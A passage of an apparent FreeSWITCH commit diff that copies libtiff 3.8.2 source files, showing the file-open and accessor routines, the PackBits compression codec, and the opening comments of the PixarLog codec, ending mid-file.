+_tiffDummyMapProc(thandle_t fd, tdata_t* pbase, toff_t* psize)
+{
+	(void) fd; (void) pbase; (void) psize;
+	return (0);
+}
+
+static void
+_tiffDummyUnmapProc(thandle_t fd, tdata_t base, toff_t size)
+{
+	(void) fd; (void) base; (void) size;
+}
+
+/*
+ * Initialize the shift & mask tables, and the
+ * byte swapping state according to the file
+ * contents and the machine architecture.
+ */
+static void
+TIFFInitOrder(TIFF* tif, int magic)
+{
+	tif->tif_typemask = typemask;
+	if (magic == TIFF_BIGENDIAN) {
+		tif->tif_typeshift = bigTypeshift;
+#ifndef WORDS_BIGENDIAN
+		tif->tif_flags |= TIFF_SWAB;
+#endif
+	} else {
+		tif->tif_typeshift = litTypeshift;
+#ifdef WORDS_BIGENDIAN
+		tif->tif_flags |= TIFF_SWAB;
+#endif
+	}
+}
+
+int
+_TIFFgetMode(const char* mode, const char* module)
+{
+	int m = -1;
+
+	switch (mode[0]) {
+	case 'r':
+		m = O_RDONLY;
+		if (mode[1] == '+')
+			m = O_RDWR;
+		break;
+	case 'w':
+	case 'a':
+		m = O_RDWR|O_CREAT;
+		if (mode[0] == 'w')
+			m |= O_TRUNC;
+		break;
+	default:
+		TIFFErrorExt(0, module, "\"%s\": Bad mode", mode);
+		break;
+	}
+	return (m);
+}
+
+TIFF*
+TIFFClientOpen(
+	const char* name, const char* mode,
+	thandle_t clientdata,
+	TIFFReadWriteProc readproc,
+	TIFFReadWriteProc writeproc,
+	TIFFSeekProc seekproc,
+	TIFFCloseProc closeproc,
+	TIFFSizeProc sizeproc,
+	TIFFMapFileProc mapproc,
+	TIFFUnmapFileProc unmapproc
+)
+{
+	static const char module[] = "TIFFClientOpen";
+	TIFF *tif;
+	int m;
+	const char* cp;
+
+	m = _TIFFgetMode(mode, module);
+	if (m == -1)
+		goto bad2;
+	tif = (TIFF *)_TIFFmalloc(sizeof (TIFF) + strlen(name) + 1);
+	if (tif == NULL) {
+		TIFFErrorExt(clientdata, module, "%s: Out of memory (TIFF structure)", name);
+		goto bad2;
+	}
+	_TIFFmemset(tif, 0, sizeof (*tif));
+	tif->tif_name = (char *)tif + sizeof (TIFF);
+	strcpy(tif->tif_name, name);
+	tif->tif_mode = m &~ (O_CREAT|O_TRUNC);
+	tif->tif_curdir = (tdir_t) -1;		/* non-existent directory */
+	tif->tif_curoff = 0;
+	tif->tif_curstrip = (tstrip_t) -1;	/* invalid strip */
+	tif->tif_row = (uint32) -1;		/* read/write pre-increment */
+	tif->tif_clientdata = clientdata;
+	if (!readproc || !writeproc || !seekproc || !closeproc || !sizeproc) {
+		TIFFErrorExt(clientdata, module,
+			  "One of the client procedures is NULL pointer.");
+		goto bad2;
+	}
+	tif->tif_readproc = readproc;
+	tif->tif_writeproc = writeproc;
+	tif->tif_seekproc = seekproc;
+	tif->tif_closeproc = closeproc;
+	tif->tif_sizeproc = sizeproc;
+        if (mapproc)
+		tif->tif_mapproc = mapproc;
+	else
+		tif->tif_mapproc = _tiffDummyMapProc;
+	if (unmapproc)
+		tif->tif_unmapproc = unmapproc;
+	else
+		tif->tif_unmapproc = _tiffDummyUnmapProc;
+	_TIFFSetDefaultCompressionState(tif);	/* setup default state */
+	/*
+	 * Default is to return data MSB2LSB and enable the
+	 * use of memory-mapped files and strip chopping when
+	 * a file is opened read-only.
+	 */
+	tif->tif_flags = FILLORDER_MSB2LSB;
+	if (m == O_RDONLY )
+            tif->tif_flags |= TIFF_MAPPED;
+
+#ifdef STRIPCHOP_DEFAULT
+	if (m == O_RDONLY || m == O_RDWR)
+		tif->tif_flags |= STRIPCHOP_DEFAULT;
+#endif
+
+	/*
+	 * Process library-specific flags in the open mode string.
+	 * The following flags may be used to control intrinsic library
+	 * behaviour that may or may not be desirable (usually for
+	 * compatibility with some application that claims to support
+	 * TIFF but only supports some braindead idea of what the
+	 * vendor thinks TIFF is):
+	 *
+	 * 'l'		use little-endian byte order for creating a file
+	 * 'b'		use big-endian byte order for creating a file
+	 * 'L'		read/write information using LSB2MSB bit order
+	 * 'B'		read/write information using MSB2LSB bit order
+	 * 'H'		read/write information using host bit order
+	 * 'M'		enable use of memory-mapped files when supported
+	 * 'm'		disable use of memory-mapped files
+	 * 'C'		enable strip chopping support when reading
+	 * 'c'		disable strip chopping support
+	 * 'h'		read TIFF header only, do not load the first IFD
+	 *
+	 * The use of the 'l' and 'b' flags is strongly discouraged.
+	 * These flags are provided solely because numerous vendors,
+	 * typically on the PC, do not correctly support TIFF; they
+	 * only support the Intel little-endian byte order.  This
+	 * support is not configured by default because it supports
+	 * the violation of the TIFF spec that says that readers *MUST*
+	 * support both byte orders.  It is strongly recommended that
+	 * you not use this feature except to deal with busted apps
+	 * that write invalid TIFF.  And even in those cases you should
+	 * bang on the vendors to fix their software.
+	 *
+	 * The 'L', 'B', and 'H' flags are intended for applications
+	 * that can optimize operations on data by using a particular
+	 * bit order.  By default the library returns data in MSB2LSB
+	 * bit order for compatibiltiy with older versions of this
+	 * library.  Returning data in the bit order of the native cpu
+	 * makes the most sense but also requires applications to check
+	 * the value of the FillOrder tag; something they probably do
+	 * not do right now.
+	 *
+	 * The 'M' and 'm' flags are provided because some virtual memory
+	 * systems exhibit poor behaviour when large images are mapped.
+	 * These options permit clients to control the use of memory-mapped
+	 * files on a per-file basis.
+	 *
+	 * The 'C' and 'c' flags are provided because the library support
+	 * for chopping up large strips into multiple smaller strips is not
+	 * application-transparent and as such can cause problems.  The 'c'
+	 * option permits applications that only want to look at the tags,
+	 * for example, to get the unadulterated TIFF tag information.
+	 */
+	for (cp = mode; *cp; cp++)
+		switch (*cp) {
+		case 'b':
+#ifndef WORDS_BIGENDIAN
+		    if (m&O_CREAT)
+				tif->tif_flags |= TIFF_SWAB;
+#endif
+			break;
+		case 'l':
+#ifdef WORDS_BIGENDIAN
+			if ((m&O_CREAT))
+				tif->tif_flags |= TIFF_SWAB;
+#endif
+			break;
+		case 'B':
+			tif->tif_flags = (tif->tif_flags &~ TIFF_FILLORDER) |
+			    FILLORDER_MSB2LSB;
+			break;
+		case 'L':
+			tif->tif_flags = (tif->tif_flags &~ TIFF_FILLORDER) |
+			    FILLORDER_LSB2MSB;
+			break;
+		case 'H':
+			tif->tif_flags = (tif->tif_flags &~ TIFF_FILLORDER) |
+			    HOST_FILLORDER;
+			break;
+		case 'M':
+			if (m == O_RDONLY)
+				tif->tif_flags |= TIFF_MAPPED;
+			break;
+		case 'm':
+			if (m == O_RDONLY)
+				tif->tif_flags &= ~TIFF_MAPPED;
+			break;
+		case 'C':
+			if (m == O_RDONLY)
+				tif->tif_flags |= TIFF_STRIPCHOP;
+			break;
+		case 'c':
+			if (m == O_RDONLY)
+				tif->tif_flags &= ~TIFF_STRIPCHOP;
+			break;
+		case 'h':
+			tif->tif_flags |= TIFF_HEADERONLY;
+			break;
+		}
+	/*
+	 * Read in TIFF header.
+	 */
+	if (tif->tif_mode & O_TRUNC ||
+	    !ReadOK(tif, &tif->tif_header, sizeof (TIFFHeader))) {
+		if (tif->tif_mode == O_RDONLY) {
+			TIFFErrorExt(tif->tif_clientdata, name, "Cannot read TIFF header");
+			goto bad;
+		}
+		/*
+		 * Setup header and write.
+		 */
+#ifdef WORDS_BIGENDIAN
+		tif->tif_header.tiff_magic = tif->tif_flags & TIFF_SWAB
+		    ? TIFF_LITTLEENDIAN : TIFF_BIGENDIAN;
+#else
+		tif->tif_header.tiff_magic = tif->tif_flags & TIFF_SWAB
+		    ? TIFF_BIGENDIAN : TIFF_LITTLEENDIAN;
+#endif
+		tif->tif_header.tiff_version = TIFF_VERSION;
+		if (tif->tif_flags & TIFF_SWAB)
+			TIFFSwabShort(&tif->tif_header.tiff_version);
+		tif->tif_header.tiff_diroff = 0;	/* filled in later */
+
+
+                /*
+                 * The doc for "fopen" for some STD_C_LIBs says that if you 
+                 * open a file for modify ("+"), then you must fseek (or 
+                 * fflush?) between any freads and fwrites.  This is not
+                 * necessary on most systems, but has been shown to be needed
+                 * on Solaris. 
+                 */
+                TIFFSeekFile( tif, 0, SEEK_SET );
+               
+		if (!WriteOK(tif, &tif->tif_header, sizeof (TIFFHeader))) {
+			TIFFErrorExt(tif->tif_clientdata, name, "Error writing TIFF header");
+			goto bad;
+		}
+		/*
+		 * Setup the byte order handling.
+		 */
+		TIFFInitOrder(tif, tif->tif_header.tiff_magic);
+		/*
+		 * Setup default directory.
+		 */
+		if (!TIFFDefaultDirectory(tif))
+			goto bad;
+		tif->tif_diroff = 0;
+		tif->tif_dirlist = NULL;
+		tif->tif_dirnumber = 0;
+		return (tif);
+	}
+	/*
+	 * Setup the byte order handling.
+	 */
+	if (tif->tif_header.tiff_magic != TIFF_BIGENDIAN &&
+	    tif->tif_header.tiff_magic != TIFF_LITTLEENDIAN
+#if MDI_SUPPORT
+	    &&
+#if HOST_BIGENDIAN
+	    tif->tif_header.tiff_magic != MDI_BIGENDIAN
+#else
+	    tif->tif_header.tiff_magic != MDI_LITTLEENDIAN
+#endif
+	    ) {
+		TIFFErrorExt(tif->tif_clientdata, name,  "Not a TIFF or MDI file, bad magic number %d (0x%x)",
+#else
+	    ) {
+		TIFFErrorExt(tif->tif_clientdata, name,  "Not a TIFF file, bad magic number %d (0x%x)",
+#endif
+		    tif->tif_header.tiff_magic,
+		    tif->tif_header.tiff_magic);
+		goto bad;
+	}
+	TIFFInitOrder(tif, tif->tif_header.tiff_magic);
+	/*
+	 * Swap header if required.
+	 */
+	if (tif->tif_flags & TIFF_SWAB) {
+		TIFFSwabShort(&tif->tif_header.tiff_version);
+		TIFFSwabLong(&tif->tif_header.tiff_diroff);
+	}
+	/*
+	 * Now check version (if needed, it's been byte-swapped).
+	 * Note that this isn't actually a version number, it's a
+	 * magic number that doesn't change (stupid).
+	 */
+	if (tif->tif_header.tiff_version == TIFF_BIGTIFF_VERSION) {
+		TIFFErrorExt(tif->tif_clientdata, name,
+                          "This is a BigTIFF file.  This format not supported\n"
+                          "by this version of libtiff." );
+		goto bad;
+	}
+	if (tif->tif_header.tiff_version != TIFF_VERSION) {
+		TIFFErrorExt(tif->tif_clientdata, name,
+		    "Not a TIFF file, bad version number %d (0x%x)",
+		    tif->tif_header.tiff_version,
+		    tif->tif_header.tiff_version); 
+		goto bad;
+	}
+	tif->tif_flags |= TIFF_MYBUFFER;
+	tif->tif_rawcp = tif->tif_rawdata = 0;
+	tif->tif_rawdatasize = 0;
+
+	/*
+	 * Sometimes we do not want to read the first directory (for example,
+	 * it may be broken) and want to proceed to other directories. I this
+	 * case we use the TIFF_HEADERONLY flag to open file and return
+	 * immediately after reading TIFF header.
+	 */
+	if (tif->tif_flags & TIFF_HEADERONLY)
+		return (tif);
+
+	/*
+	 * Setup initial directory.
+	 */
+	switch (mode[0]) {
+	case 'r':
+		tif->tif_nextdiroff = tif->tif_header.tiff_diroff;
+		/*
+		 * Try to use a memory-mapped file if the client
+		 * has not explicitly suppressed usage with the
+		 * 'm' flag in the open mode (see above).
+		 */
+		if ((tif->tif_flags & TIFF_MAPPED) &&
+	!TIFFMapFileContents(tif, (tdata_t*) &tif->tif_base, &tif->tif_size))
+			tif->tif_flags &= ~TIFF_MAPPED;
+		if (TIFFReadDirectory(tif)) {
+			tif->tif_rawcc = -1;
+			tif->tif_flags |= TIFF_BUFFERSETUP;
+			return (tif);
+		}
+		break;
+	case 'a':
+		/*
+		 * New directories are automatically append
+		 * to the end of the directory chain when they
+		 * are written out (see TIFFWriteDirectory).
+		 */
+		if (!TIFFDefaultDirectory(tif))
+			goto bad;
+		return (tif);
+	}
+bad:
+	tif->tif_mode = O_RDONLY;	/* XXX avoid flush */
+        TIFFCleanup(tif);
+bad2:
+	return ((TIFF*)0);
+}
+
+/*
+ * Query functions to access private data.
+ */
+
+/*
+ * Return open file's name.
+ */
+const char *
+TIFFFileName(TIFF* tif)
+{
+	return (tif->tif_name);
+}
+
+/*
+ * Set the file name.
+ */
+const char *
+TIFFSetFileName(TIFF* tif, const char *name)
+{
+	const char* old_name = tif->tif_name;
+	tif->tif_name = (char *)name;
+	return (old_name);
+}
+
+/*
+ * Return open file's I/O descriptor.
+ */
+int
+TIFFFileno(TIFF* tif)
+{
+	return (tif->tif_fd);
+}
+
+/*
+ * Set open file's I/O descriptor, and return previous value.
+ */
+int
+TIFFSetFileno(TIFF* tif, int fd)
+{
+        int old_fd = tif->tif_fd;
+	tif->tif_fd = fd;
+	return old_fd;
+}
+
+/*
+ * Return open file's clientdata.
+ */
+thandle_t
+TIFFClientdata(TIFF* tif)
+{
+	return (tif->tif_clientdata);
+}
+
+/*
+ * Set open file's clientdata, and return previous value.
+ */
+thandle_t
+TIFFSetClientdata(TIFF* tif, thandle_t newvalue)
+{
+	thandle_t m = tif->tif_clientdata;
+	tif->tif_clientdata = newvalue;
+	return m;
+}
+
+/*
+ * Return read/write mode.
+ */
+int
+TIFFGetMode(TIFF* tif)
+{
+	return (tif->tif_mode);
+}
+
+/*
+ * Return read/write mode.
+ */
+int
+TIFFSetMode(TIFF* tif, int mode)
+{
+	int old_mode = tif->tif_mode;
+	tif->tif_mode = mode;
+	return (old_mode);
+}
+
+/*
+ * Return nonzero if file is organized in
+ * tiles; zero if organized as strips.
+ */
+int
+TIFFIsTiled(TIFF* tif)
+{
+	return (isTiled(tif));
+}
+
+/*
+ * Return current row being read/written.
+ */
+uint32
+TIFFCurrentRow(TIFF* tif)
+{
+	return (tif->tif_row);
+}
+
+/*
+ * Return index of the current directory.
+ */
+tdir_t
+TIFFCurrentDirectory(TIFF* tif)
+{
+	return (tif->tif_curdir);
+}
+
+/*
+ * Return current strip.
+ */
+tstrip_t
+TIFFCurrentStrip(TIFF* tif)
+{
+	return (tif->tif_curstrip);
+}
+
+/*
+ * Return current tile.
+ */
+ttile_t
+TIFFCurrentTile(TIFF* tif)
+{
+	return (tif->tif_curtile);
+}
+
+/*
+ * Return nonzero if the file has byte-swapped data.
+ */
+int
+TIFFIsByteSwapped(TIFF* tif)
+{
+	return ((tif->tif_flags & TIFF_SWAB) != 0);
+}
+
+/*
+ * Return nonzero if the data is returned up-sampled.
+ */
+int
+TIFFIsUpSampled(TIFF* tif)
+{
+	return (isUpSampled(tif));
+}
+
+/*
+ * Return nonzero if the data is returned in MSB-to-LSB bit order.
+ */
+int
+TIFFIsMSB2LSB(TIFF* tif)
+{
+	return (isFillOrder(tif, FILLORDER_MSB2LSB));
+}
+
+/*
+ * Return nonzero if given file was written in big-endian order.
+ */
+int
+TIFFIsBigEndian(TIFF* tif)
+{
+	return (tif->tif_header.tiff_magic == TIFF_BIGENDIAN);
+}
+
+/*
+ * Return pointer to file read method.
+ */
+TIFFReadWriteProc
+TIFFGetReadProc(TIFF* tif)
+{
+	return (tif->tif_readproc);
+}
+
+/*
+ * Return pointer to file write method.
+ */
+TIFFReadWriteProc
+TIFFGetWriteProc(TIFF* tif)
+{
+	return (tif->tif_writeproc);
+}
+
+/*
+ * Return pointer to file seek method.
+ */
+TIFFSeekProc
+TIFFGetSeekProc(TIFF* tif)
+{
+	return (tif->tif_seekproc);
+}
+
+/*
+ * Return pointer to file close method.
+ */
+TIFFCloseProc
+TIFFGetCloseProc(TIFF* tif)
+{
+	return (tif->tif_closeproc);
+}
+
+/*
+ * Return pointer to file size requesting method.
+ */
+TIFFSizeProc
+TIFFGetSizeProc(TIFF* tif)
+{
+	return (tif->tif_sizeproc);
+}
+
+/*
+ * Return pointer to memory mapping method.
+ */
+TIFFMapFileProc
+TIFFGetMapFileProc(TIFF* tif)
+{
+	return (tif->tif_mapproc);
+}
+
+/*
+ * Return pointer to memory unmapping method.
+ */
+TIFFUnmapFileProc
+TIFFGetUnmapFileProc(TIFF* tif)
+{
+	return (tif->tif_unmapproc);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_packbits.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_packbits.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_packbits.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_packbits.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_packbits.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,293 @@
+/* $Id: tif_packbits.c,v 1.13 2006/02/07 11:03:29 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef PACKBITS_SUPPORT
+/*
+ * TIFF Library.
+ *
+ * PackBits Compression Algorithm Support
+ */
+#include <stdio.h>
+
+static int
+PackBitsPreEncode(TIFF* tif, tsample_t s)
+{
+	(void) s;
+
+        if (!(tif->tif_data = (tidata_t)_TIFFmalloc(sizeof(tsize_t))))
+		return (0);
+	/*
+	 * Calculate the scanline/tile-width size in bytes.
+	 */
+	if (isTiled(tif))
+		*(tsize_t*)tif->tif_data = TIFFTileRowSize(tif);
+	else
+		*(tsize_t*)tif->tif_data = TIFFScanlineSize(tif);
+	return (1);
+}
+
+static int
+PackBitsPostEncode(TIFF* tif)
+{
+        if (tif->tif_data)
+            _TIFFfree(tif->tif_data);
+	return (1);
+}
+
+/*
+ * NB: tidata is the type representing *(tidata_t);
+ *     if tidata_t is made signed then this type must
+ *     be adjusted accordingly.
+ */
+typedef unsigned char tidata;
+
+/*
+ * Encode a run of pixels.
+ */
+static int
+PackBitsEncode(TIFF* tif, tidata_t buf, tsize_t cc, tsample_t s)
+{
+	unsigned char* bp = (unsigned char*) buf;
+	tidata_t op, ep, lastliteral;
+	long n, slop;
+	int b;
+	enum { BASE, LITERAL, RUN, LITERAL_RUN } state;
+
+	(void) s;
+	op = tif->tif_rawcp;
+	ep = tif->tif_rawdata + tif->tif_rawdatasize;
+	state = BASE;
+	lastliteral = 0;
+	while (cc > 0) {
+		/*
+		 * Find the longest string of identical bytes.
+		 */
+		b = *bp++, cc--, n = 1;
+		for (; cc > 0 && b == *bp; cc--, bp++)
+			n++;
+	again:
+		if (op + 2 >= ep) {		/* insure space for new data */
+			/*
+			 * Be careful about writing the last
+			 * literal.  Must write up to that point
+			 * and then copy the remainder to the
+			 * front of the buffer.
+			 */
+			if (state == LITERAL || state == LITERAL_RUN) {
+				slop = op - lastliteral;
+				tif->tif_rawcc += lastliteral - tif->tif_rawcp;
+				if (!TIFFFlushData1(tif))
+					return (-1);
+				op = tif->tif_rawcp;
+				while (slop-- > 0)
+					*op++ = *lastliteral++;
+				lastliteral = tif->tif_rawcp;
+			} else {
+				tif->tif_rawcc += op - tif->tif_rawcp;
+				if (!TIFFFlushData1(tif))
+					return (-1);
+				op = tif->tif_rawcp;
+			}
+		}
+		switch (state) {
+		case BASE:		/* initial state, set run/literal */
+			if (n > 1) {
+				state = RUN;
+				if (n > 128) {
+					*op++ = (tidata) -127;
+					*op++ = (tidataval_t) b;
+					n -= 128;
+					goto again;
+				}
+				*op++ = (tidataval_t)(-(n-1));
+				*op++ = (tidataval_t) b;
+			} else {
+				lastliteral = op;
+				*op++ = 0;
+				*op++ = (tidataval_t) b;
+				state = LITERAL;
+			}
+			break;
+		case LITERAL:		/* last object was literal string */
+			if (n > 1) {
+				state = LITERAL_RUN;
+				if (n > 128) {
+					*op++ = (tidata) -127;
+					*op++ = (tidataval_t) b;
+					n -= 128;
+					goto again;
+				}
+				*op++ = (tidataval_t)(-(n-1));	/* encode run */
+				*op++ = (tidataval_t) b;
+			} else {			/* extend literal */
+				if (++(*lastliteral) == 127)
+					state = BASE;
+				*op++ = (tidataval_t) b;
+			}
+			break;
+		case RUN:		/* last object was run */
+			if (n > 1) {
+				if (n > 128) {
+					*op++ = (tidata) -127;
+					*op++ = (tidataval_t) b;
+					n -= 128;
+					goto again;
+				}
+				*op++ = (tidataval_t)(-(n-1));
+				*op++ = (tidataval_t) b;
+			} else {
+				lastliteral = op;
+				*op++ = 0;
+				*op++ = (tidataval_t) b;
+				state = LITERAL;
+			}
+			break;
+		case LITERAL_RUN:	/* literal followed by a run */
+			/*
+			 * Check to see if previous run should
+			 * be converted to a literal, in which
+			 * case we convert literal-run-literal
+			 * to a single literal.
+			 */
+			if (n == 1 && op[-2] == (tidata) -1 &&
+			    *lastliteral < 126) {
+				state = (((*lastliteral) += 2) == 127 ?
+				    BASE : LITERAL);
+				op[-2] = op[-1];	/* replicate */
+			} else
+				state = RUN;
+			goto again;
+		}
+	}
+	tif->tif_rawcc += op - tif->tif_rawcp;
+	tif->tif_rawcp = op;
+	return (1);
+}
+
+/*
+ * Encode a rectangular chunk of pixels.  We break it up
+ * into row-sized pieces to insure that encoded runs do
+ * not span rows.  Otherwise, there can be problems with
+ * the decoder if data is read, for example, by scanlines
+ * when it was encoded by strips.
+ */
+static int
+PackBitsEncodeChunk(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	tsize_t rowsize = *(tsize_t*)tif->tif_data;
+
+	while ((long)cc > 0) {
+		int	chunk = rowsize;
+		
+		if( cc < chunk )
+		    chunk = cc;
+
+		if (PackBitsEncode(tif, bp, chunk, s) < 0)
+		    return (-1);
+		bp += chunk;
+		cc -= chunk;
+	}
+	return (1);
+}
+
+static int
+PackBitsDecode(TIFF* tif, tidata_t op, tsize_t occ, tsample_t s)
+{
+	char *bp;
+	tsize_t cc;
+	long n;
+	int b;
+
+	(void) s;
+	bp = (char*) tif->tif_rawcp;
+	cc = tif->tif_rawcc;
+	while (cc > 0 && (long)occ > 0) {
+		n = (long) *bp++, cc--;
+		/*
+		 * Watch out for compilers that
+		 * don't sign extend chars...
+		 */
+		if (n >= 128)
+			n -= 256;
+		if (n < 0) {		/* replicate next byte -n+1 times */
+			if (n == -128)	/* nop */
+				continue;
+                        n = -n + 1;
+                        if( occ < n )
+                        {
+							TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+                                        "PackBitsDecode: discarding %d bytes "
+                                        "to avoid buffer overrun",
+                                        n - occ);
+                            n = occ;
+                        }
+			occ -= n;
+			b = *bp++, cc--;
+			while (n-- > 0)
+				*op++ = (tidataval_t) b;
+		} else {		/* copy next n+1 bytes literally */
+			if (occ < n + 1)
+                        {
+                            TIFFWarningExt(tif->tif_clientdata, tif->tif_name,
+                                        "PackBitsDecode: discarding %d bytes "
+                                        "to avoid buffer overrun",
+                                        n - occ + 1);
+                            n = occ - 1;
+                        }
+                        _TIFFmemcpy(op, bp, ++n);
+			op += n; occ -= n;
+			bp += n; cc -= n;
+		}
+	}
+	tif->tif_rawcp = (tidata_t) bp;
+	tif->tif_rawcc = cc;
+	if (occ > 0) {
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "PackBitsDecode: Not enough data for scanline %ld",
+		    (long) tif->tif_row);
+		return (0);
+	}
+	return (1);
+}
+
+int
+TIFFInitPackBits(TIFF* tif, int scheme)
+{
+	(void) scheme;
+	tif->tif_decoderow = PackBitsDecode;
+	tif->tif_decodestrip = PackBitsDecode;
+	tif->tif_decodetile = PackBitsDecode;
+	tif->tif_preencode = PackBitsPreEncode;
+        tif->tif_postencode = PackBitsPostEncode;
+	tif->tif_encoderow = PackBitsEncode;
+	tif->tif_encodestrip = PackBitsEncodeChunk;
+	tif->tif_encodetile = PackBitsEncodeChunk;
+	return (1);
+}
+#endif /* PACKBITS_SUPPORT */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_pixarlog.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_pixarlog.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_pixarlog.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_pixarlog.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_pixarlog.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1342 @@
+/* $Id: tif_pixarlog.c,v 1.14 2006/03/16 12:38:24 dron Exp $ */
+
+/*
+ * Copyright (c) 1996-1997 Sam Leffler
+ * Copyright (c) 1996 Pixar
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Pixar, Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Pixar, Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL PIXAR, SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tiffiop.h"
+#ifdef PIXARLOG_SUPPORT
+
+/*
+ * TIFF Library.
+ * PixarLog Compression Support
+ *
+ * Contributed by Dan McCoy.
+ *
+ * PixarLog film support uses the TIFF library to store companded
+ * 11 bit values into a tiff file, which are compressed using the 
+ * zip compressor.  
+ *
+ * The codec can take as input and produce as output 32-bit IEEE float values 
+ * as well as 16-bit or 8-bit unsigned integer values.
+ *
+ * On writing any of the above are converted into the internal
+ * 11-bit log format.   In the case of  8 and 16 bit values, the
+ * input is assumed to be unsigned linear color values that represent
+ * the range 0-1.  In the case of IEEE values, the 0-1 range is assumed to
+ * be the normal linear color range, in addition over 1 values are
+ * accepted up to a value of about 25.0 to encode "hot" hightlights and such.
+ * The encoding is lossless for 8-bit values, slightly lossy for the
+ * other bit depths.  The actual color precision should be better
+ * than the human eye can perceive with extra room to allow for
+ * error introduced by further image computation.  As with any quantized
+ * color format, it is possible to perform image calculations which
+ * expose the quantization error. This format should certainly be less 
+ * susceptable to such errors than standard 8-bit encodings, but more
+ * susceptable than straight 16-bit or 32-bit encodings.
+ *
+ * On reading the internal format is converted to the desired output format.
+ * The program can request which format it desires by setting the internal
+ * pseudo tag TIFFTAG_PIXARLOGDATAFMT to one of these possible values:
+ *  PIXARLOGDATAFMT_FLOAT     = provide IEEE float values.
+ *  PIXARLOGDATAFMT_16BIT     = provide unsigned 16-bit integer values
+ *  PIXARLOGDATAFMT_8BIT      = provide unsigned 8-bit integer values
+ *
+ * alternately PIXARLOGDATAFMT_8BITABGR provides unsigned 8-bit integer
+ * values with the difference that if there are exactly three or four channels
+ * (rgb or rgba) it swaps the channel order (bgr or abgr).
+ *
+ * PIXARLOGDATAFMT_11BITLOG provides the internal encoding directly
+ * packed in 16-bit values.   However no tools are supplied for interpreting
+ * these values.
+ *
+ * "hot" (over 1.0) areas written in floating point get clamped to
+ * 1.0 in the integer data types.
+ *
+ * When the file is closed after writing, the bit depth and sample format
+ * are set always to appear as if 8-bit data has been written into it.
+ * That way a naive program unaware of the particulars of the encoding
+ * gets the format it is most likely able to handle.
+ *
+ * The codec does it's own horizontal differencing step on the coded
+ * values so the libraries predictor stuff should be turned off.
+ * The codec also handle byte swapping the encoded values as necessary
+ * since the library does not have the information necessary
+ * to know the bit depth of the raw unencoded buffer.
+ * 
+ */
+
+#include "tif_predict.h"
+#include "zlib.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <math.h>
+
+/* Tables for converting to/from 11 bit coded values */
+
+#define  TSIZE	 2048		/* decode table size (11-bit tokens) */
+#define  TSIZEP1 2049		/* Plus one for slop */
+#define  ONE	 1250		/* token value of 1.0 exactly */
+#define  RATIO	 1.004		/* nominal ratio for log part */
+
+#define CODE_MASK 0x7ff         /* 11 bits. */
+
+static float  Fltsize;
+static float  LogK1, LogK2;
+
+#define REPEAT(n, op)   { int i; i=n; do { i--; op; } while (i>0); }
+
+static void
+horizontalAccumulateF(uint16 *wp, int n, int stride, float *op, 
+	float *ToLinearF)
+{
